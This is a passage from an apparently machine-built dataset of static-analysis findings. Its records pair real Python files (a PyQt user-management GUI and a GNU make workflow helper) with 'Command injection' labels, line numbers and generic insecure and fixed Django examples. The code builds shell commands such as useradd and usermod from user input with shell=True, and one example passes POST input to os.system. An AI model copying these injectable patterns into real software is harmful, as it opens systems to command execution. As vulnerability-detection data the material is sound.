self.setLayout(self.mainLayout)\n\n    def widgets(self):\n        self.usersNbr = QSpinBox(self)\n        self.usersNbr.setMinimum(1)\n        self.usersNbr.setMaximum(1000)\n        self.usersNbr.setSuffix(\" user\")\n        self.createHomeDir = QCheckBox('Create Home Directory')\n\n        self.form = QFormLayout()\n        self.editLineUsername = QLineEdit('')\n        self.editLineUsername.setPlaceholderText('enter username')\n        self.form.addRow(QLabel('Username :'), self.editLineUsername)\n        self.editLineUserShell = QLineEdit('')\n        self.editLineUserShell.setPlaceholderText('enter shell')\n        self.form.addRow(QLabel('User Shell :'), self.editLineUserShell)\n        self.editLineUserComment = QLineEdit('')\n        self.editLineUserComment.setPlaceholderText('enter comment')\n        self.form.addRow(QLabel('Comment :'), self.editLineUserComment)\n        self.note = QLabel('')\n\n        self.topLayout.addWidget(self.usersNbr)\n        self.topLayout.addWidget(self.editLineUsername)\n        self.topLayout.addWidget(self.editLineUserShell)\n        self.topLayout.addWidget(self.editLineUserComment)\n        self.topLayout.addWidget(self.createHomeDir)\n        self.topLayout.addWidget(self.note)\n\n    def submitAction(self):\n        self.setCursor(Qt.WaitCursor)\n        self.progeesBar.setHidden(False)\n        self.progeesBar.setMaximum(self.usersNbr.value())\n        self.progeesBar.setValue(0)\n        usersList = self.generateList()\n        txt = ''\n        nbr = 0\n        with concurrent.futures.ThreadPoolExecutor() as executor:\n            results = executor.map(self.createuserThreading, usersList)\n            for result in results:\n                nbr += 1\n                self.progeesBar.setValue(nbr)\n                txt = txt + result + \"\\n\"\n                self.note.setText(txt)\n        self.setCursor(Qt.ArrowCursor)\n        self.okBtn.setHidden(False)\n        self.submitBtn.setHidden(True)\n        self.cancelBtn.setHidden(True)\n\n    def generateList(self):\n        usersList = []\n        homeDir = 'False'\n        if self.createHomeDir.isChecked():\n            homeDir = 'True'\n\n        if int(self.usersNbr.value()) == 1:\n            usersList.append(\n                [self.editLineUsername.text(), self.editLineUserComment.text(), self.editLineUserShell.text(), homeDir])\n        else:\n            for user in range(self.usersNbr.value()):\n                usersList.append(\n                    [self.editLineUsername.text() + str(user + 1), self.editLineUserComment.text() + str(user + 1),\n                     self.editLineUserShell.text(), homeDir])\n        return usersList\n\n    def createuserThreading(self, user):\n        if user[3] == 'True':\n            homedir = '-m'\n        else:\n            homedir = ''\n        try:\n            c = f'useradd {homedir} -s {user[2]} -c \"{user[1]}\" {user[0]}'\n            subprocess.run(c, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, shell=True, check=True)\n        except subprocess.CalledProcessError:\n            return f\"error occured during creating {user[0]} \"\n        else:\n            return f\"{user[0]} has been created succesfully!\"\n\n    def cancelAction(self):\n        self.close()\n\n\nclass EditUsersWindow(QWidget):\n    def __init__(self, userDetails):\n        super().__init__()\n        self.setGeometry(200, 50, 500, 500)\n        self.setWindowTitle(\"Edit User\")\n        self.userDetails = userDetails\n        self.layouts()\n        self.widgets()\n\n    def layouts(self):\n        self.mainLayout = QVBoxLayout()\n        self.topLayout = QVBoxLayout()\n        self.middleLayout = QHBoxLayout()\n        self.topLayout.setContentsMargins(20, 20, 20, 20)\n        self.bottomLayout = QHBoxLayout()\n\n        self.text = QLabel('')\n        self.progeesBar = QProgressBar()\n        self.progeesBar.setHidden(True)\n        self.submitBtn = QPushButton(\"Submit\")\n        self.submitBtn.clicked.connect(self.submitAction)\n        self.cancelBtn = QPushButton(\"Cancel\")\n        self.cancelBtn.clicked.connect(self.cancelAction)\n        self.okBtn = QPushButton(\"Ok\")\n        self.okBtn.clicked.connect(self.okAction)\n        self.okBtn.setHidden(True)\n        self.submitBtn.setFixedHeight(30)\n        self.cancelBtn.setFixedHeight(30)\n        self.okBtn.setFixedHeight(30)\n        self.submitBtn.setStyleSheet(\"color: #ecf0f1; background-color: #27ae60 ; border: 0px\")\n        self.okBtn.setStyleSheet(\"color: #ecf0f1; background-color: #27ae60 ; border: 0px\")\n        self.cancelBtn.setStyleSheet(\"color: #ecf0f1; background-color: #e74c3c; border: 0px\")\n\n        self.bottomLayout.addWidget(self.submitBtn)\n        self.bottomLayout.addWidget(self.cancelBtn)\n        self.bottomLayout.addWidget(self.okBtn)\n        self.mainLayout.addLayout(self.topLayout)\n        self.mainLayout.addStretch()\n        self.mainLayout.addLayout(self.bottomLayout)\n        self.setLayout(self.mainLayout)\n\n    def widgets(self):\n        self.form = QFormLayout()\n\n        print(self.userDetails)\n        self.username = QLineEdit(self.userDetails[0])\n        self.form.addRow(QLabel('Username :'), self.username)\n        self.id = QLineEdit(self.userDetails[1])\n        self.form.addRow(QLabel('User ID :'), self.id)\n\n        self.primaryGroup = self.userDetails[2].split('(')[1].split(')')[0]\n        self.priGroup = QLineEdit(self.primaryGroup)\n        self.form.addRow(QLabel('Primary Group :'), self.priGroup)\n\n        self.comment = QLineEdit(self.userDetails[4])\n        self.form.addRow(QLabel('Comment :'), self.comment)\n        self.homeDir = QLineEdit(self.userDetails[5])\n        self.form.addRow(QLabel('Home Directory :'), self.homeDir)\n        self.shell = QLineEdit(self.userDetails[6])\n        self.form.addRow(QLabel('Shell :'), self.shell)\n\n        if self.userDetails[7] == 'never':\n            self.expirationDate = QLineEdit()\n        else:\n            import dateutil.parser as parser\n            self.expirationDate_adapted = datetime.strptime(self.userDetails[7], '%b %d, %Y').strftime('%Y-%m-%d')\n            date = parser.parse(self.expirationDate_adapted)\n            self.expirationDate = QLineEdit(date.isoformat().split('T')[0])\n        self.form.addRow(QLabel('Expiration Date :'), self.expirationDate)\n\n        self.groupsBtns = QVBoxLayout()\n        self.lineEditAddGroup = QLineEdit()\n        self.lineEditAddGroup.setPlaceholderText('enter group name')\n        self.addGroupBtn = QPushButton('Add')\n        self.addGroupBtn.clicked.connect(self.addGroup)\n        self.deleteGroupBtn = QPushButton('Delete')\n        self.deleteGroupBtn.clicked.connect(self.deleteGroup)\n        self.deleteAllGroupsBtn = QPushButton('Delete All')\n        self.deleteAllGroupsBtn.clicked.connect(self.deleteAllGroups)\n        self.groupsBtns.addWidget(self.lineEditAddGroup)\n        self.groupsBtns.addWidget(self.addGroupBtn)\n        self.groupsBtns.addWidget(self.deleteGroupBtn)\n        self.groupsBtns.addWidget(self.deleteAllGroupsBtn)\n        self.groupsBtns.addStretch()\n        self.listGroups = QListWidget()\n\n        self.form.addRow(QLabel('Groups :'), self.middleLayout)\n\n        groups = self.userDetails[3].split(',')\n        for group in groups:\n            grp = group.split('(')[1].split(')')[0]\n            if grp == self.primaryGroup:\n                continue\n            else:\n                self.listGroups.addItem(grp)\n\n        self.middleLayout.addWidget(self.listGroups)\n        self.middleLayout.addLayout(self.groupsBtns)\n        self.topLayout.addLayout(self.form)\n        self.topLayout.addWidget(self.text)\n        self.topLayout.addWidget(self.progeesBar)\n\n    def addGroup(self):\n        group = self.lineEditAddGroup.text()\n        if group == \"\":\n            pass\n        else:\n            self.listGroups.addItem(group)\n\n    def deleteGroup(self):\n        listGroups = self.listGroups.selectedItems()\n        if not listGroups: return\n        for group in listGroups:\n            self.listGroups.takeItem(self.listGroups.row(group))\n\n    def deleteAllGroups(self):\n        self.listGroups.clear()\n\n    def submitAction(self):\n        try:\n            self.setCursor(Qt.WaitCursor)\n            self.progeesBar.setHidden(False)\n            self.progeesBar.setMaximum(1)\n            self.progeesBar.setValue(0)\n            self.edituser()\n        except subprocess.CalledProcessError:\n            QMessageBox.warning(self, 'warning', f\"error occured during editing this user\\n\")\n        else:\n            self.setCursor(Qt.ArrowCursor)\n            self.submitBtn.setHidden(True)\n            self.cancelBtn.setHidden(True)\n            self.okBtn.setHidden(False)\n\n    def okAction(self):\n        self.close()\n\n    def edituser(self):\n        usernamee = self.username.text()\n        idd = self.id.text()\n        priGroupp = self.priGroup.text()\n        commentt = self.comment.text()\n        homeDirr = self.homeDir.text()\n        shelll = self.shell.text()\n        expirationDatee = self.expirationDate.text()\n        txt = ''\n\n        groupsitems = []\n        for index in range(self.listGroups.count()):\n            groupsitems.append(str(self.listGroups.item(index).text()))\n        groupsitemsstring = \",\".join(groupsitems)\n        print(groupsitemsstring)\n        if expirationDatee == \"never\":\n            QMessageBox.warning(self, 'expiration field error', \"expiration field can't be 'never' \")\n            return 0\n        elif expirationDatee == '':\n            pass\n        else:\n            try:\n                subprocess.run(f'usermod -e {expirationDatee} {self.userDetails[0]}', stdout=subprocess.DEVNULL,\n                               stderr=subprocess.DEVNULL, check=True, shell=True)\n            except subprocess.CalledProcessError:\n                txt = txt + \"error occured during editing expiration date for this user\\n\"\n                self.text.setText(txt)\n            else:\n                txt = txt + \"expiration date edited succesfully\\n\"\n                self.text.setText(txt)\n        try:\n            subprocess.run(f'usermod -g {priGroupp} {self.userDetails[0]}', stdout=subprocess.DEVNULL,\n                           stderr=subprocess.DEVNULL, check=True, shell=True)\n        except subprocess.CalledProcessError:\n            txt = txt + \"error occured during editing primary group for this user\\n\"\n            self.text.setText(txt)\n        else:\n            txt = txt + \"primary group edited succesfully\\n\"\n            self.text.setText(txt)\n\n        try:\n            subprocess.run(f'usermod -G {groupsitemsstring} {self.userDetails[0]}', stdout=subprocess.DEVNULL,\n                           stderr=subprocess.DEVNULL, check=True, shell=True)\n        except subprocess.CalledProcessError:\n            txt = txt + \"error occured during editing supplementary groups for this user\\n\"\n            self.text.setText(txt)\n        else:\n            txt = txt + \"supplementary groups edited succesfully\\n\"\n            self.text.setText(txt)\n\n        try:\n            subprocess.run(f'usermod -s {shelll} {self.userDetails[0]}', stdout=subprocess.DEVNULL,\n                           stderr=subprocess.DEVNULL, check=True, shell=True)\n        except subprocess.CalledProcessError:\n            txt = txt + \"error occured during editing shell for this user\\n\"\n            self.text.setText(txt)\n        else:\n            txt = txt + \"shell edited succesfully\\n\"\n            self.text.setText(txt)\n\n        try:\n            subprocess.run(f'usermod -d {homeDirr} {self.userDetails[0]}', stdout=subprocess.DEVNULL,\n                           stderr=subprocess.DEVNULL, check=True, shell=True)\n        except subprocess.CalledProcessError:\n            txt = txt + \"error occured during editing home directory for this user\\n\"\n            self.text.setText(txt)\n        else:\n            txt = txt + \"home directory edited succesfully\\n\"\n            self.text.setText(txt)\n\n        try:\n            subprocess.run(f\"usermod -c '{commentt}' {self.userDetails[0]}\", stdout=subprocess.DEVNULL,\n                           stderr=subprocess.DEVNULL, check=True, shell=True)\n        except subprocess.CalledProcessError:\n            txt = txt + \"error occured during editing comment for this user\\n\"\n            self.text.setText(txt)\n        else:\n            txt = txt + \"comment edited succesfully\\n\"\n            self.text.setText(txt)\n\n        try:\n            subprocess.run(f\"usermod -u {idd} {self.userDetails[0]}\", stdout=subprocess.DEVNULL,\n                           stderr=subprocess.DEVNULL, check=True, shell=True)\n        except subprocess.CalledProcessError:\n            txt = txt + \"error occured during editing user id for this user\\n\"\n            self.text.setText(txt)\n        else:\n            txt = txt + \"user id edited succesfully\\n\"\n            self.text.setText(txt)\n\n        try:\n            subprocess.run(f'usermod -l {usernamee} {self.userDetails[0]}', stdout=subprocess.DEVNULL,\n                           stderr=subprocess.DEVNULL, check=True, shell=True)\n        except subprocess.CalledProcessError:\n            txt = txt + \"error occured during editing username for this user\\n\"\n            self.text.setText(txt)\n        else:\n            txt = txt + \"username edited succesfully\\n\"\n            self.text.setText(txt)\n\n        self.progeesBar.setValue(1)\n\n    def cancelAction(self):\n        self.close()\n\n\nclass DeleteUsersWindow(QWidget):\n    def __init__(self, d):\n        super().__init__()\n        self.setGeometry(200, 50, 300, 300)\n        self.setWindowTitle(\"Delete Users\")\n        self.listUsersToDelete = d\n        self.layouts()\n        self.widgets()\n\n    def layouts(self):\n        self.mainLayout = QVBoxLayout()\n        self.topLayout = QVBoxLayout()\n        self.topLayout.setContentsMargins(20, 20, 20, 20)\n        self.bottomLayout = QHBoxLayout()\n\n        self.progeesBar = QProgressBar()\n        self.progeesBar.setHidden(True)\n        self.submitBtn = QPushButton(\"Submit\")\n        self.submitBtn.clicked.connect(self.submitAction)\n        self.cancelBtn = QPushButton(\"Cancel\")\n        self.cancelBtn.clicked.connect(self.cancelAction)\n        self.okBtn = QPushButton(\"Ok\")\n        self.okBtn.clicked.connect(self.okAction)\n        self.okBtn.setHidden(True)\n        self.submitBtn.setFixedHeight(30)\n        self.cancelBtn.setFixedHeight(30)\n        self.okBtn.setFixedHeight(30)\n        self.submitBtn.setStyleSheet(\"color: #ecf0f1; background-color: #27ae60 ; border: 0px\")\n        self.okBtn.setStyleSheet(\"color: #ecf0f1; background-color: #27ae60 ; border: 0px\")\n        self.cancelBtn.setStyleSheet(\"color: #ecf0f1; background-color: #e74c3c; border: 0px\")\n\n        self.bottomLayout.addWidget(self.submitBtn)\n        self.bottomLayout.addWidget(self.cancelBtn)\n        self.bottomLayout.addWidget(self.okBtn)\n        self.mainLayout.addLayout(self.topLayout)\n        self.mainLayout.addStretch()\n        self.mainLayout.addLayout(self.bottomLayout)\n        self.setLayout(self.mainLayout)\n\n    def widgets(self):\n        self.a = ', '.join(self.listUsersToDelete)\n        self.text = QLabel(f'Are You Sure You want To Delete The Following Users :\\n\\n{self.a}')\n        self.text2 = QLabel()\n        self.topLayout.addWidget(self.text)\n        self.topLayout.addWidget(self.text2)\n        self.topLayout.addWidget(self.progeesBar)\n\n    def submitAction(self):\n        try:\n            self.setCursor(Qt.WaitCursor)\n            self.progeesBar.setHidden(False)\n            self.progeesBar.setMaximum(len(self.listUsersToDelete))\n            self.progeesBar.setValue(0)\n            self.deleteuser()\n        except subprocess.CalledProcessError:\n            QMessageBox.warning(self, 'warning', f\"error occured during setting this hostname\\n\")\n        else:\n            self.setCursor(Qt.ArrowCursor)\n            self.submitBtn.setHidden(True)\n            self.cancelBtn.setHidden(True)\n            self.okBtn.setHidden(False)\n\n    def okAction(self):\n        self.close()\n\n    def deleteuserThreading(self, username):\n        try:\n            subprocess.run(f'userdel -r {username}', stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, check=True,\n                           shell=True)\n        except subprocess.CalledProcessError:\n            return f\"error occured during deleting {username}\"\n        else:\n            return f\"{username} deleted succesfully!\"\n\n    def deleteuser(self):\n        with concurrent.futures.ThreadPoolExecutor() as executor:\n            results = executor.map(self.deleteuserThreading, self.listUsersToDelete)\n            i = 0\n            r = ''\n            for result in results:\n                i = i + 1\n                r = r + \"\\n\" + result\n                self.progeesBar.setValue(i)\n                self.text2.setText(r)\n\n    def cancelAction(self):\n        self.close()\n\n\nclass MoreUsersWindow(QWidget):\n    def __init__(self, text, username):\n        super().__init__()\n        self.setGeometry(200, 50, 300, 300)\n        self.setWindowTitle(username)\n        self.text = text\n        self.layouts()\n\n    def layouts(self):\n        self.mainLayout = QVBoxLayout()\n        self.topLayout = QVBoxLayout()\n        self.topLayout.setContentsMargins(20, 20, 20, 20)\n        self.bottomLayout = QHBoxLayout()\n\n        self.label = QLabel(self.text)\n        self.okBtn = QPushButton(\"Ok\")\n        self.okBtn.clicked.connect(self.okAction)\n        self.okBtn.setFixedHeight(30)\n        self.okBtn.setStyleSheet(\"color: #ecf0f1; background-color: #27ae60 ; border: 0px\")\n\n        self.topLayout.addWidget(self.label)\n        self.bottomLayout.addWidget(self.okBtn)\n        self.mainLayout.addLayout(self.topLayout)\n        self.mainLayout.addStretch()\n        self.mainLayout.addLayout(self.bottomLayout)\n        self.setLayout(self.mainLayout)\n\n    def okAction(self):\n        self.close()", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 129, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "55974b691247678f340052c5f65e32ecb6940384aea1e2390d6a3b378e02959b", "license": {"spdx": ["MIT"], "repo": "adehecq/make_workflow", "path": "make_workflow.py", "repo_head_hexsha": "6847110b96f2fb680f64fa7f46304a88cbb0e3da", "stack_hexsha": "d7ae5c190e8d9295a07589a284c41ef2ee7c3d89", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 276, "entireCode": "#!/bin/env python\n#\n# Utilities to generate an automated workflow with GNU make\n# makefile_init is used to initialize the make, then makefile_append\n# or makefile_secondary to add commands and makefile_run to run the workflow.\n# \n# 03/2019\n\nimport os\nimport sys\nfrom tempfile import NamedTemporaryFile\nimport traceback\nimport subprocess\nfrom packaging import version\n\n\ndef get_make_version():\n    \"\"\"\n    Get make version number.\n    Output of make -v is expected to be something like:\n\n    GNU Make X.X.X\n    Built for....\n    Copyright...\n    ....\n\n    where X.X.X is the version number.\n    \"\"\"\n    # Run make -v and save output\n    process = subprocess.Popen(['make', '-v'], stdout=subprocess.PIPE)\n    stdout = process.communicate()[0]\n\n    # Convert default Byte type to string\n    stdout = stdout.decode('utf-8')\n\n    # Get first line containing version number\n    fline = stdout.split('\\n')[0]\n\n    # Get last item containing version number\n    vnum = fline.split(' ')[-1]\n\n    # Convert to a version object for comparison\n    make_version = version.parse(vnum)\n\n    return make_version\n\n\nclass Workflow():\n\n    def __init__(self, filename=None, title=None, overwrite=False):\n        \"\"\"\n        Used to initialize the makefile.\n        Will generate a main function for the makefile.\n        Optionally, will display a title string at beginning of execution.\n        filename: str, path to the makefile (Default is None, i.e. generate a temporary file)\n        title: string to display at the beginning of the execution\n        overwrite: if set to True, will overwrite an existing makefile.\n        \"\"\"\n\n        # Create and open temporary file\n        if filename is None:\n            tmpf = NamedTemporaryFile(mode='w+')\n            filename = tmpf.name\n            f = tmpf.file\n            self.tmpf = tmpf   # Keep otherwise file will be deleted\n            self.filename = tmpf.name\n\n        # Open chosen file\n        else:\n            # Just open the file in append mode.\n            # Won't work for temporary files though as self.tmpf is deleted.\n            if os.path.exists(filename) & (not overwrite):\n                f = open(filename, 'a+')  # append and writing\n                f.seek(0)\n                self.filename = filename\n                self.f = f\n                return\n            else:\n                f = open(filename, 'w+')  # writing and reading\n                self.filename = filename\n\n        # Write header\n        f.write(\".PHONY: MAIN\\n\\n\")\n\n        # Write colors for commands highlighting\n        f.write(\"CMDCOL := \u001b[32m\\n\")\n        f.write(\"DEFCOL := \u001b[0m\\n\\n\")\n\n        # Write MAIN line, without title\n        if title is None:\n            f.write(\"MAIN: \\n\\n\")\n\n        # with title\n        else:\n            f.write(\"MAIN: pre-build \\n\\n\")\n            f.write(\"pre-build:\\n\\t@+printf '%s\\\\n'\\n\\n\" % title)\n\n        # Add a function to list missing outputs, call with 'make list'\n        f.write(\"list:\\n\")\n        f.write(\"\\t@printf '** Missing outputs **\\\\n'\\n\")\n        f.write(\"\\t@$(MAKE) -n --debug -f $(lastword $(MAKEFILE_LIST)) | \\\n        sed -n -e 's/^.*Must remake target //p' | \\\n        sed -e '/MAIN/d' | sed -e '/pre-build/d'\\n\\n\")\n\n        # save\n        f.flush()\n        self.f = f\n\n        # Check if make version is newer than 4.3\n        make_version = get_make_version()\n        if make_version > version.parse('4.3'):\n            self.new_version = True\n        else:\n            self.new_version = False\n\n    def append(self, cmds, inputs, outputs,\n               title=None, secondary=False, soft_inputs=[], verbose=True):\n        \"\"\"\n        Add a new list of commands to the Makefile with given outputs and inputs and display a title string at beginning of excution.\n        Commands can be a single command or a list of commands.\n        If secondary set to True, will consider all outputs of that command as secondary and the command won't be re-run if the files are deleted.\n        soft_inputs are inputs that are necessary to run the command, but whose update will not force re-running the commands.\n        If verbose set to False, will print stdout to /dev/null.\n        \"\"\"\n\n        # Make sure outputs are lists\n        outputs = check_args_output(outputs)\n\n        # Convert potential lists into string with space separator\n        inputs = check_args_inout(inputs)\n        soft_inputs = check_args_inout(soft_inputs)\n\n        # Write target:deps line\n        # For make > 4.3, grouped targets can be set explicitly with &:\n        if self.new_version:\n            if len(soft_inputs) > 0:\n                self.f.write(\"\\n%s &: %s | %s\\n\" % (' '.join(outputs), inputs, soft_inputs))\n            else:\n                self.f.write(\"\\n%s &: %s\\n\" % (' '.join(outputs), inputs))\n\n        # For make < 4.3, must have only one output\n        # Additional outputs are added later\n        else:\n            if len(soft_inputs) > 0:\n                self.f.write(\"\\n%s : %s | %s\\n\" % (outputs[0], inputs, soft_inputs))\n            else:\n                self.f.write(\"\\n%s : %s\\n\" % (outputs[0], inputs))\n\n        # Add command for title\n        if title is not None:\n            self.f.write(\"\\t@+printf '%s\\\\n'\\n\" % escape_char(title))\n\n        # Add all commands\n        cmds = check_args_cmd(cmds)\n\n        for cmd in cmds:\n            # Escape special characters\n            #cmd = escape_char(cmd)\n\n            # Add stdout option\n            if not verbose:\n                cmd += ' 1> /dev/null'\n\n            # print command with + symbol and green color\n            self.f.write(\"\\t-@echo '${CMDCOL}+%s${DEFCOL}'\\n\" % cmd)\n\n            # command to be run\n            self.f.write(\"\\t@%s\\n\" % cmd)\n\n        # For make < 4.3 and multiple outputs, must create rule for each output\n        if not self.new_version:\n            if len(outputs)>1:\n\n                # Command for additional output\n                # If output exists, update with touch\n                # Otherwise and if first output exists, delete and re-run rule\n                cmd_add_output = \"if test -f $@; then touch -h $@; else if [ -f $^ ]; then rm -f $^ && ${MAKE} $^; fi; fi\"\n\n                for k in range(1,len(outputs)):\n                    self.f.write(\"\\n%s : %s\\n\" % (outputs[k], outputs[k-1]))\n                    self.f.write(\"\\t@%s\\n\" % cmd_add_output)\n\n        ## Need to update the MAIN function to add new outputs ##\n        # Only if outputs are not secondary (intermediate) files\n        if not secondary:\n            # Read the text and replace MAIN\n            filetext = ''\n            self.f.seek(0)\n            for line in self.f:\n                if line[:4] == 'MAIN':\n                    line = ' '.join([line.rstrip(), *outputs, '\\n'])\n                    filetext += line\n                else:\n                    filetext += line\n\n            # Write to file\n            f = open(self.filename, 'w')\n            f.write(filetext)\n            f.flush()\n            self.f = open(self.filename, 'a+')\n\n        # if files are secondary, need to specify\n        else:\n            self.f.write(\"\\n.SECONDARY : %s\\n\" % (' '.join(outputs)))\n            self.f.flush()\n\n    def clean(self, cmds):\n        \"\"\"\n        Add a clean target to the Makefile to perform any additional cleaning\n        commands as part of the workflow.\n        Commands can be a single command or a list of commands.\n        \"\"\"\n\n        # Write clean line\n        self.f.write(\"\\nclean : \\n\")\n\n        # Add all commands\n        cmds = check_args_cmd(cmds)\n\n        for cmd in cmds:\n            # print command with + symbol and green color\n            self.f.write(\"\\t-@echo '${CMDCOL}+%s${DEFCOL}'\\n\" % cmd)\n\n            # command to be run\n            self.f.write(\"\\t@%s\\n\" % cmd)\n            self.f.flush()\n\n    def display(self):\n        \"\"\"\n        Print the current makefile to the screen.\n        \"\"\"\n        self.f.seek(0)\n        filetext = self.f.read()\n        print(filetext)\n\n    def run(self, njobs=1, dryrun=False, debug=False, ignore_err=True,\n            force=False, clean=False, other_args=None):\n        \"\"\"\n        Run the makefile with njobs parallel jobs.\n        njobs: int, number of parallel jobs to run.\n        dryrun: bool, set to True to print the commands without running them.\n        debug: bool, set to True to run in debug mode.\n        ignore_err: bool, set to True to continue the workflow even if errors\n        are detected (recommended if several independent steps are running)\n        force: bool, set to True to re-run all the commands\n        clean: bool, set to True to run the clean command as well\n        other_args: str, any other argument to pass to make\n        \"\"\"\n        cmd = \"make -f %s\" % self.filename\n\n        # Check njobs option and append\n        if isinstance(njobs, int):\n            if njobs > 1:\n                cmd += ' -j %i' % njobs\n        else:\n            print(\"ERROR: njobs must be of type int\")\n            sys.exit()\n\n        # Append other options\n        if dryrun:\n            cmd += ' -n --no-print-directory'\n        if debug:\n            cmd += ' -d'\n        if ignore_err:\n            cmd += ' -i'\n        if force:\n            cmd += ' -B'\n        if clean:\n            cmd += ' clean'\n\n        # Allow any other arguments to be passed\n        if other_args is not None:\n            cmd += ' ' + other_args\n\n        # Run make\n        subprocess.run(cmd, shell=True)\n\n\ndef check_args_inout(args):\n    \"\"\"\n    Accepted arguments for input/outputs are string (in case a single input/output), or some kind of list (list, tuple, numpy array). Convert the latter into a string with a space delimiter for the makefile.\n    Remove redundant slashes in filenames as it will be recognized as a different file by make.\n    \"\"\"\n    # To comply with both Python3 and 2, string must be detected first\n    # in Python3, string have __iter__ attribute too\n    if isinstance(args, str):\n        if len(args) > 0:   # exclude empty string\n            args = os.path.normpath(args)\n    # should work for list, tuples, numpy arrays\n    elif hasattr(args, '__iter__'):\n        args = [os.path.normpath(arg) for arg in args]\n        args = ' '.join(args)\n    else:\n        print(\"ERROR: argument must be iterable (list, tuple, array). \\\n        Currently set to:\")\n        print(args)\n        traceback.print_stack()\n        sys.exit()\n\n    return args\n\n\ndef check_args_output(args):\n    \"\"\"\n    Accepted arguments for outputs are string (in case a single output), or some kind of list (list, tuple, numpy array). Convert all into a list.\n    Remove redundant slashes in filenames as it will be recognized as a different file by make.\n    \"\"\"\n    # To comply with both Python3 and 2, string must be detected first\n    # in Python3, string have __iter__ attribute too\n    if isinstance(args, str):\n        if len(args) > 0:   # exclude empty string\n            args = [os.path.normpath(args)]\n        else:\n            args = []\n    # should work for list, tuples, numpy arrays\n    elif hasattr(args, '__iter__'):\n        args = [os.path.normpath(arg) for arg in args]\n    else:\n        print(\"ERROR: argument must be str or iterable (list, tuple, array). \\\n        Currently set to:\")\n        print(args)\n        traceback.print_stack()\n        sys.exit()\n\n    return args\n\n\ndef check_args_cmd(args):\n    \"\"\"\n    Accepted commands for all functions are string (in case a single command), or some kind of list (list, tuple, numpy array). Convert both cases to list.\n    \"\"\"\n    # To comply with both Python3 and 2, string must be detected first\n    # in Python3, string have __iter__ attribute too\n    if isinstance(args, str):\n        args = [args, ]\n    elif hasattr(args, '__iter__'):  # if arg is iterable\n        pass\n    else:\n        print(\"ERROR: argument must be iterable (list, tuple, array) \\\n        or string\")\n        print(args)\n        sys.exit()\n\n    return args\n\n\ndef escape_char(string):\n    \"\"\"\n    Escape special characters from string before passing to makefile.\n    Maybe more characters will need to be added.\n    \"\"\"\n    string = string.replace(\"'\", \"\\\\'\")  # escape '\n    string = string.replace('\"', '\\\\\"')  # escape \"\n    string = string.replace(\"\\n\", \"\\\\n\")  # escape \\n\n    return string", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 276, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "e3c844f9b61c9c5301fda8bb6199f563729a9f065597d8731d7b3cc4b2921bfb", "license": {"spdx": ["MIT"], "repo": "thara/bulletlog", "path": "runtests.py", "repo_head_hexsha": "d33f30122b0ef10678f6d724c0b81589c7bc1427", "stack_hexsha": "d112796adc9fef7c881a4d9eea8602a74dbb8db5", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 27, "entireCode": "import os, subprocess, textwrap, shutil, traceback\nimport hashlib\n\nsut = 'target/debug/bulletlog'\nroot_dir = 'tmp'\n\ndef mkdir(path):\n    try:\n        os.mkdir(path)\n    except FileExistsError:\n        pass\n    return path\n\ndef ensure(func, path):\n    try:\n        func(path)\n    except (FileExistsError, FileNotFoundError):\n        pass\n    return path\n\ndef bulletlog_env(file, date):\n    return {'BULLETLOG_FILE': file, 'BULLETLOG_DATE': date}\n\ndef run(arg, file=None, date=None, **kwargs):\n    env = {'BULLETLOG_FILE': file, 